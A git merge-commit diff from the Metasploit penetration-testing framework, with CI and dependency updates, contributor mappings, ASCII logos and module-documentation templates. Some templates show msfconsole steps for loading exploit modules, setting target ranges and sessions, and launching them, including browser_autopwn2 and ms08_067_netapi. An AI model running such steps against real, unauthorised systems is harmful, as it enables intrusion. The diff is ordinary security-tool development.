Merge remote-tracking branch 'upstream/master'

Merge
bug/bundler_fix
Karim Reda Fakhir 2016-04-20 12:21:16 +01:00
commit dfb2b95e46
3348 changed files with 23572 additions and 11806 deletions

41
.github/ISSUE_TEMPLATE.md vendored Normal file
View File

@ -0,0 +1,41 @@
## Steps to reproduce
How'd you do it?
1. ...
2. ...
This section should also tell us any relevant information about the
environment; for example, if an exploit that used to work is failing,
tell us the victim operating system and service versions.
## Expected behavior
What should happen?
## Current behavior
What happens instead?
You might also want to check the last ~1k lines of
`/opt/metasploit/apps/pro/engine/config/logs/framework.log` or
`~/.msf4/logs/framework.log` for relevant stack traces
## System stuff
### Metasploit version
Get this with the `version` command in msfconsole (or `git log -1 --pretty=oneline` for a source install).
### I installed Metasploit with:
- [ ] Kali package via apt
- [ ] Omnibus installer (nightly)
- [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
- [ ] Source install (please specify ruby version)
### OS
What OS are you running Metasploit on?

14
.github/PULL_REQUEST_TEMPLATE.md vendored Normal file
View File

@ -0,0 +1,14 @@
Tell us what this change does. If you're fixing a bug, please mention
the github issue number.
## Verification
List the steps needed to make sure this thing works
- [ ] Start `msfconsole`
- [ ] `use exploit/windows/smb/ms08_067_netapi`
- [ ] ...
- [ ] **Verify** the thing does what it should
- [ ] **Verify** the thing does not do what it should not

2
.gitignore vendored
View File

@ -68,6 +68,8 @@ external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by
# the metasploit-payloads gem.
data/meterpreter/*.dll
data/meterpreter/*.php
data/meterpreter/*.py
data/meterpreter/*.bin
data/meterpreter/*.jar
data/meterpreter/*.lso

View File

@ -1,45 +1,45 @@
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
hdm <hdm@github> HD Moore <x@hdm.io>
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
acammack-r7 <acammack-r7@github> Adam Cammack <Adam_Cammack@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> Brian Patterson <Brian_Patterson@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <Paul_Deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <paul_deardorff@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
wwebb-r7 <wwebb-r7@github> William Webb <William_Webb@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@ -83,6 +83,9 @@ g0tmi1k <g0tmi1k@github> <g0tmi1k@users.noreply.github.com>
g0tmi1k <g0tmi1k@github> <have.you.g0tmi1k@gmail.com>
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
hdm <hdm@github> HD Moore <x@hdm.io>
jabra <jabra@github> Josh Abraham <jabra@spl0it.org>
jabra <jabra@github> Joshua Abraham <jabra@spl0it.org>
jcran <jcran@github> <jcran@0x0e.org>
@ -111,6 +114,7 @@ m-1-k-3 <m-1-k-3@github> Michael Messner <devnull@s3cur1ty.de>
Meatballs1 <Meatballs1@github> <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> <Meatballs1@users.noreply.github.com>
mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com>
net-ninja <net-ninja@github.com> Steven Seeley <steventhomasseeley@gmail.com>
nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net>
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>
nullbind <nullbind@github> nullbind <scott.sutherland@nullbind.com>

View File

@ -1 +1 @@
2.1.7
2.1.9

View File

@ -1,11 +1,22 @@
sudo: false
group: stable
bundler_args: --without coverage development pcap
cache: bundler
addons:
postgresql: '9.3'
apt:
packages:
- libpcap-dev
- graphviz
language: ruby
rvm:
- '2.1.8'
env:
- RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true
- RAKE_TASKS=spec SPEC_OPTS="--tag content"
- RAKE_TASKS=spec SPEC_OPTS="--tag ~content"
language: ruby
matrix:
fast_finish: true
before_install:
@ -23,9 +34,6 @@ before_script:
script:
# fail build if db/schema.rb update is not committed
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
sudo: false
rvm:
- '2.1.7'
notifications:
irc: "irc.freenode.org#msfnotify"
@ -38,9 +46,3 @@ branches:
except:
- gh-pages
- metakitty
addons:
postgresql: '9.3'
apt:
packages:
- libpcap-dev

View File

@ -35,12 +35,14 @@ This Code of Conduct applies both within project spaces and in public spaces
when an individual is representing the project or its community.
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting a project maintainer at msfdev@metasploit.com. All
complaints will be reviewed and investigated and will result in a response that
is deemed necessary and appropriate to the circumstances. Maintainers are
obligated to maintain confidentiality with regard to the reporter of an
incident.
reported by contacting the project maintainers at msfdev@metasploit.com. If
the incident involves a committer, you may report directly to
egypt@metasploit.com or todb@metasploit.com.
All complaints will be reviewed and investigated and will result in a
response that is deemed necessary and appropriate to the circumstances.
Maintainers are obligated to maintain confidentiality with regard to the
reporter of an incident.
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
version 1.3.0, available at

View File

@ -37,6 +37,7 @@ and Metasploit's [Common Coding Mistakes].
* **Do** follow the [50/72 rule] for Git commit messages.
* **Don't** use the default merge messages when merging from other branches.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
### Pull Requests
@ -51,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
* **Do** run `tools/dev/msftidy.rb` against your module and fix any errors or warnings that come up.
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.

View File

@ -18,6 +18,9 @@ group :development do
gem 'yard'
# for development and testing purposes
gem 'pry'
# module documentation
gem 'octokit', '~> 4.0'
# rails-upgrade staging gems
end
group :development, :test do

View File

@ -1,30 +1,33 @@
PATH
remote: .
specs:
metasploit-framework (4.11.7)
metasploit-framework (4.11.22)
actionpack (>= 4.0.9, < 4.1.0)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
bcrypt
filesize
jsobfu (~> 0.3.0)
jsobfu (~> 0.4.1)
json
metasm (~> 1.0.2)
metasploit-concern (= 1.0.0)
metasploit-credential (= 1.0.1)
metasploit-model (= 1.0.0)
metasploit-payloads (= 1.0.21)
metasploit_data_models (= 1.2.10)
metasploit-concern
metasploit-credential (= 1.1.0)
metasploit-model (= 1.1.0)
metasploit-payloads (= 1.1.6)
metasploit_data_models (= 1.3.0)
msgpack
network_interface (~> 0.0.1)
nokogiri
octokit
openssl-ccm (= 1.2.1)
packetfu (= 1.1.11)
patch_finder (>= 1.0.2)
pcaprub
pg (>= 0.11)
railties
rb-readline-r7
recog (= 2.0.14)
redcarpet
robots
rubyzip (~> 1.1)
sqlite3
@ -57,14 +60,15 @@ GEM
multi_json (~> 1.3)
thread_safe (~> 0.1)
tzinfo (~> 0.3.37)
addressable (2.3.8)
arel (4.0.2)
arel-helpers (2.1.1)
activerecord (= 4.0.13)
arel-helpers (2.2.0)
activerecord (>= 3.1.0, < 5)
aruba (0.6.2)
childprocess (>= 0.3.6)
cucumber (>= 1.1.1)
rspec-expectations (>= 2.7.0)
bcrypt (3.1.10)
bcrypt (3.1.11)
builder (3.1.4)
capybara (2.4.4)
mime-types (>= 1.16)
@ -95,6 +99,8 @@ GEM
factory_girl_rails (4.5.0)
factory_girl (~> 4.5.0)
railties (>= 3.0.0)
faraday (0.9.2)
multipart-post (>= 1.2, < 3)
ffi (1.9.8)
filesize (0.1.1)
fivemat (1.3.2)
@ -102,35 +108,35 @@ GEM
multi_json (~> 1.3)
hike (1.2.3)
i18n (0.7.0)
jsobfu (0.3.0)
jsobfu (0.4.1)
rkelly-remix (= 0.0.6)
json (1.8.3)
mail (2.6.3)
mime-types (>= 1.16, < 3)
metasm (1.0.2)
metasploit-concern (1.0.0)
metasploit-concern (1.1.0)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-credential (1.0.1)
metasploit-concern (~> 1.0)
metasploit-model (~> 1.0)
metasploit_data_models (~> 1.0)
metasploit-credential (1.1.0)
metasploit-concern (~> 1.1)
metasploit-model (~> 1.1)
metasploit_data_models (~> 1.3)
pg
railties
rubyntlm
rubyzip (~> 1.1)
metasploit-model (1.0.0)
metasploit-model (1.1.0)
activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.21)
metasploit_data_models (1.2.10)
metasploit-payloads (1.1.6)
metasploit_data_models (1.3.0)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
arel-helpers
metasploit-concern (~> 1.0)
metasploit-model (~> 1.0)
metasploit-concern (~> 1.1)
metasploit-model (~> 1.1)
pg
postgres_ext
railties (>= 4.0.9, < 4.1.0)
@ -139,20 +145,24 @@ GEM
mime-types (2.6.1)
mini_portile2 (2.0.0)
minitest (4.7.5)
msgpack (0.7.1)
msgpack (0.7.4)
multi_json (1.11.2)
multi_test (0.1.2)
multipart-post (2.0.0)
network_interface (0.0.1)
nokogiri (1.6.7.1)
nokogiri (1.6.7.2)
mini_portile2 (~> 2.0.0.rc2)
octokit (4.2.0)
sawyer (~> 0.6.0, >= 0.5.3)
openssl-ccm (1.2.1)
packetfu (1.1.11)
network_interface (~> 0.0)
pcaprub (~> 0.12)
pcaprub (0.12.0)
patch_finder (1.0.2)
pcaprub (0.12.1)
pg (0.18.4)
pg_array_parser (0.0.9)
postgres_ext (2.4.1)
postgres_ext (3.0.0)
activerecord (>= 4.0.0)
arel (>= 4.0.1)
pg_array_parser (~> 0.0.9)
@ -180,7 +190,7 @@ GEM
rb-readline-r7 (0.5.2.0)
recog (2.0.14)
nokogiri
redcarpet (3.2.3)
redcarpet (3.3.4)
rkelly-remix (0.0.6)
robots (0.10.1)
rspec-core (3.3.2)
@ -200,8 +210,11 @@ GEM
rspec-mocks (~> 3.3.0)
rspec-support (~> 3.3.0)
rspec-support (3.3.0)
rubyntlm (0.5.2)
rubyzip (1.1.7)
rubyntlm (0.6.0)
rubyzip (1.2.0)
sawyer (0.6.0)
addressable (~> 2.3.5)
faraday (~> 0.8, < 0.10)
shoulda-matchers (2.8.0)
activesupport (>= 3.0.0)
simplecov (0.9.2)
@ -238,6 +251,7 @@ DEPENDENCIES
factory_girl_rails (~> 4.5.0)
fivemat (~> 1.3.1)
metasploit-framework!
octokit (~> 4.0)
pry
rake (>= 10.0.0)
redcarpet
@ -246,3 +260,6 @@ DEPENDENCIES
simplecov
timecop
yard
BUNDLED WITH
1.11.2

View File

@ -6,5 +6,6 @@ ignored_tags = "--tags ~@boot --tags ~@targets"
%>
default: <%= std_opts %> <%= ignored_tags %> features
boot: <%= std_opts %> --tags @boot features
exploit: <%= std_opts %> --tags @targets features
wip: --tags @wip:3 --wip features
rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip
rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip

View File

@ -1,9 +1,9 @@
# Please only use postgresql bound to a TCP port.
# Only postgresql is supportable for metasploit-framework
# these days. (No SQLite, no MySQL).
#
# To set up a metasploit database, follow the directions hosted at:
# http://r-7.co/MSF-DEV#set-up-postgresql
#
# Kali Linux and the Omnibus installers both include an easy wrapper script for
# managing your database, which may be more convenient than rolling your own.
development: &pgsql
adapter: postgresql
database: metasploit_framework_development
@ -11,7 +11,7 @@ development: &pgsql
password: __________________________________
host: localhost
port: 5432
pool: 5
pool: 200
timeout: 5
# You will often want to seperate your databases between dev

Binary file not shown.

11
data/logos/zsploit-1.txt Normal file
View File

@ -0,0 +1,11 @@
%bld%blk ____________%whi
[%%%%%clr%%%%%%%%%bld%blk%%%%%%%%blk%%%%%%%%%%%%%| %red$a,%blk |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
[%%%%clr%%%%%%%%%%bld%blk%%%%%%%%%%%%%%%%%%%%| %red$S`?a,%blk |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
[%%%clr%%%%%%%%bld%blk%%%%%%%%%%%%whi_%cya_%blk%%%%%%%%%%| %red`?a,%blk |%%%%%%%%%whi_%grn_%blk%%%%%%%%%%whi_%grn_%blk%%%whi_%grn_ %blk%%%%%whi]
[% .-%cya--%clr%cya-----.%bld%whi.-%cya-%clr%cya---.%bld%whi| %clr%cya|_ %bld%whi.-%cya-%clr%cya-.-.%bld%blk| %red.,a$%%blk|%whi.-%grn---%clr%grn-.%bld%whi| %clr%grn|%bld%whi.-%grn--%clr%grn--.%bld%whi|%grn_%clr%grn_|%bld%whi| %clr%grn|_ %bld%blk%%%whi]
[% | %clr%cya|%bld%whi| %clr%cya-__|%clr%cya| %clr%cya_|%bld%whi| %clr%cya_ |%bld%blk| %red,,aS$""`%blk |%whi| %clr%grn_ |%bld%grn| %clr%grn|%bld%whi| %clr%grn_ |%bld%grn| %clr%grn|%bld%grn| %clr%grn_|%bld%blk%%%whi]
[% %cya|%clr%cya__|__|__|%bld%cya|_%clr%cya____|%bld%cya|_%clr%cya___|%bld%cya|_%clr%cya__._|%bld%blk|%red%$P"`%blk |%grn| %clr%grn__|%bld%grn|_%clr%grn_|%bld%grn|_%clr%grn____|%bld%grn|_%clr%grn_|%bld%grn|_%clr%grn___|%bld%blk%%%bld%whi]
[%%clr%%%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%| %red`"a,%blk |%clr%grn|__|%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
[%%clr%%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____%red`"a,$$%blk__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
[%clr%%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %red`"$%blk %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
[%clr%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]

20
data/logos/zsploit-2.txt Normal file
View File

@ -0,0 +1,20 @@
%bld%whi
. .
.
%bludBBBBBBb dBBBP dBBBBBBP dBBBBBb %whi. o
%blu ' dB' BBP
dB'dB'dB' dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBBP dBP dBBBBBBB
%reddBBBBBP %bludBBBBBb dBP dBBBBP dBP dBBBBBBP
%whi. %cya. %bludB' dBP dB'.BP
%cya| %reddBP%blu dBBBB' dBP dB'.BP dBP dBP
%cya--o-- %reddBP%blu dBP dBP dB'.BP dBP dBP
%cya| %reddBBBBP%blu dBP dBBBBP dBBBBP dBP dBP%whi
.
.
o %grnTo boldly go where no
shell has gone before

21
data/logos/zsploit-3.txt Normal file
View File

@ -0,0 +1,21 @@
%clr%bld%red
.,,. .
.\$$$$$L..,,==aaccaacc%#s$b. %whid%grn8, %whid8%grnP
%whid8%cyaP %red#$$$$$$$$$$$$$$$$$$$$$$$$$$$b. %whi`BP d88%grn8888p
%whid%cya888888P %red'7$$$$\""""''^^`` .7$$$|D*"'``` %whi?%grn88'
%whid8%cyabd8b.d8p %whid8%cya888b %whi?%cya88' %whid88%cya8b8b%red _.os#$|8*"` %whid8%grnP %whi?8%grnb 88P
%whi8%cya8P`?P'?P %whid8%cyab_,dP 88P %whid8%cyaP' ?88%red .oaS###S*"` %whid8%grnP %whid88%grn88b $whi?%grn88b 88b
%cyad88 d8 ?8 88b %whi8%cya8b 88b ,88b %red.osS$$$$*" %grn?88,.d88b, %whid%grn88 %whid%grn8P' ?88 88P `?8b
%cyad88' d88b 8b`?8888P'`?8b`?88P'%red.aS$$$$Q*"` %grn`?88' ?88 ?88 88b d88 d88%red
.a#$$$$$$"` %grn88b d8P 88b`?8888P'%red
,s$$$$$$$"` %grn888888P' 88n%red _.,,,ass;:
.a$$$$$$$P` %grnd88P'%red .,.ass%#S$$$$$$$$$$$$$$'
.a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
%whi___________%clr_____________________________%bld%blk_______________________%red ,&$$$$$$'%blk_____%red
ll&&$$$$'
.;;lll&&&&'
...;;lllll&'
......;;;llll;;;....
` ......;;;;... . .

View File

@ -0,0 +1,29 @@
This module is a scanner module, and is capable of testing against multiple hosts.
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > show options
... show and set options ...
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS ip-range
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
```
Other examples of setting the RHSOTS option:
Example 1:
```
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.3-192.168.1.200
```
Example 2:
```
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.1/24
```
Example 3:
```
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:///tmp/ip_list.txt
```

View File

@ -0,0 +1,15 @@
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > run
```
This module is also supported by Browser Autopwn 2.
To load it from Browser Autopwn 2, here's how:
```
msf > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN <%= mod.shortname %>
INCLUDE_PATTERN => <%= mod.shortname %>
msf auxiliary(browser_autopwn2) > exploit
```

View File

@ -0,0 +1,50 @@
## <%= items[:mod_name] %>
<p>
<%= normalize_description(items[:mod_description]) %>
</p>
## Module Name
<%= Rex::Text.html_encode(items[:mod_fullname]) %>
## Authors
<%= normalize_authors(items[:mod_authors]) %>
<% unless items[:mod_platforms].empty? %>
## Platforms
<%= normalize_platforms(items[:mod_platforms]) %>
<% end %>
## Reliability
<%= normalize_rank(items[:mod_rank]) %>
## Related Pull Requests
<%= normalize_pull_requests(items[:mod_pull_requests]) %>
<% unless items[:mod_refs].empty? %>
## References
<%= normalize_references(items[:mod_refs]) %>
<% end %>
<% if items[:mod_targets] %>
## Available Targets
<%= normalize_targets(items[:mod_targets]) %>
<% end %>
## Required Options
<% if normalize_options(items[:mod_options]).empty? %>
No options required.
<% else %>
<%= normalize_options(items[:mod_options]) %>
<% end %>
## Basic Usage
<%= normalize_demo_output(items[:mod_demo]) %>

View File

@ -0,0 +1,9 @@
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > show targets
... a list of targets ...
msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id
msf <%= mod.type %>(<%= mod.shortname %>) > show options
... show and set options ...
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
```

View File

@ -0,0 +1,54 @@
<html>
<head>
<% unless kb.empty? %>
<script>
function showOverview() {
var overview_info_button = document.getElementById('overview_info_button');
overview_info_button.style.borderColor = "#ccc";
overview_info_button.style.color = "#333";
var knowledge_base_button = document.getElementById('knowledge_base_button');
knowledge_base_button.style.borderColor = "#EEEEEE";
knowledge_base_button.style.color = "#C4C4C4";
document.getElementById('knowledge_base').style.display = "none";
document.getElementById('overview_info').style.display = "inline";
}
function showKnowledge() {
var overview_info_button = document.getElementById('overview_info_button');
overview_info_button.style.borderColor = "#EEEEEE";
overview_info_button.style.color = "#C4C4C4";
var knowledge_base_button = document.getElementById('knowledge_base_button');
knowledge_base_button.style.borderColor = "#ccc";
knowledge_base_button.style.color = "#333";
document.getElementById('overview_info').style.display = "none";
document.getElementById('knowledge_base').style.display = "inline";
}
</script>
<% end %>
<style>
<%= load_css %>
</style>
</head>
<body>
<% unless kb.empty? %>
<table border="0">
<tr>
<th>
<div id="overview_info_button" onClick="showOverview()">Overview</a>
</th>
<th>
<div id="knowledge_base_button" onClick="showKnowledge()">Knowledge Base</a>
</th>
</tr></table>
<p></p>
<% end %>
<div id="overview_info">
<%= r.render(md) %>
</div>
<% unless kb.empty? %>
<div id="knowledge_base">
<%= r.render(kb) %>
</div>
<% end %>
</body>
</html>

View File

@ -0,0 +1,4 @@
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
```

View File

@ -0,0 +1,14 @@
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the ```sessions``` command.
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > show targets
... a list of targets ...
msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id
msf <%= mod.type %>(<%= mod.shortname %>) > show options
... show and set options ...
msf <%= mod.type %>(<%= mod.shortname %>) > set SESSION session-id
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
```

View File

@ -0,0 +1,258 @@
h1, h2, h3, h4, h5, h6, p, blockquote {
margin: 0;
padding: 0;
}
body {
font-family: Arial, "Helvetica Neue", Helvetica, "Hiragino Sans GB", sans-serif;
font-size: 16px;
line-height: 18px;
color: #737373;
margin: 10px 13px 10px 13px;
}
a {
color: #0069d6;
}
a:hover {
color: #0050a3;
text-decoration: none;
}
a img {
border: none;
}
p {
margin-bottom: 16px;
}
h1, h2, h3, h4, h5, h6 {
color: #404040;
line-height: 36px;
}
h1 {
margin-bottom: 18px;
font-size: 30px;
}
h2 {
font-size: 24px;
margin-bottom: 16px;
}
h3 {
font-size: 18px;
margin-bottom: 16px;
}
h4 {
font-size: 16px;
margin-bottom: 16px;
}
h5 {
font-size: 16px;
margin-bottom: 16px;
}
h6 {
font-size: 13px;
margin-bottom: 16px;
}
hr {
margin: 0 0 19px;
border: 0;
border-bottom: 1px solid #eee;
}
blockquote {
padding: 13px 13px 21px 15px;
margin-bottom: 18px;
font-family:georgia,serif;
font-style: italic;
}
blockquote:before {
content:"\201C";
font-size:40px;
margin-left:-10px;
font-family:georgia,serif;
color:#eee;
}
blockquote p {
font-size: 16px;
font-weight: 300;
line-height: 18px;
margin-bottom: 0;
font-style: italic;
}
code, pre {
font-family: Monaco, Andale Mono, Courier New, monospace;
}
code {
background-color: #eee;
color: rgba(0, 0, 0, 0.75);
padding: 1px 3px;
font-size: 13px;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}
pre {
display: block;
padding: 16px;
margin: 0 0 18px;
line-height: 16px;
font-size: 13px;
border: 1px solid #d9d9d9;
white-space: pre-wrap;
word-wrap: break-word;
}
pre code {
background-color: #fff;
color:#737373;
font-size: 13px;
padding: 0;
}
@media screen and (min-width: 768px) {
body {
width: 748px;
margin:10px auto;
}
}
#overview_info_button {
font-family:Arial, sans-serif;
font-size:16px;
padding:10px 5px;
border-style:solid;
border-width:1px;
border-color:#ccc;
color:#333;
}
#knowledge_base_button {
font-family:Arial, sans-serif;
font-size:16px;
padding:10px 5px;
border-style:solid;
border-width:1px;
border-color:#EEEEEE;
color:#C4C4C4;
}
#overview_info_button:hover, #knowledge_base_button:hover {
cursor: pointer;
}
#knowledge_base {
display: none;
}
#long_list {
height:280px;
overflow:auto;
